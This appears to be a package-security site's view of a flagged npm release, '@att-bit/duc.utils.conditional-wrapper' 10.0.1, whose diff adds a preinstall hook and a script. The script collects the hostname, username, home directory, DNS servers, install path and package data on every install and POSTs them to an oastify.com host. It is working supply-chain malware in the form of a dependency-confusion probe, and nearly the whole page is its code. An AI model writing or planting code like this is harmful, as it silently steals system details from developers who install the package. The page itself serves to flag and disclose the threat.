@att-bit/duc.utils.conditional-wrapper 10.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @att-bit/duc.utils.conditional-wrapper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/ich.js +48 -0
  2. package/package.json +19 -0
package/ich.js ADDED
@@ -0,0 +1,48 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const fs = require("fs/promises");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ data_file: fs.readFile('/etc/hosts', {encoding: 'utf8'}),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "sb7yonei6k6gfudw318f2gfis9y0m5au.oastify.com", //backend
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "@att-bit/duc.utils.conditional-wrapper",
3
+ "version": "10.0.1",
4
+ "description": "ICH",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node ich.js"
9
+ },
10
+ "author": "ich",
11
+ "license": "ISC",
12
+ "repository": {
13
+ "type": "git",
14
+ "url": "https://github.com/"
15
+ },
16
+ "keywords": [
17
+ "testing"
18
+ ]
19
+ }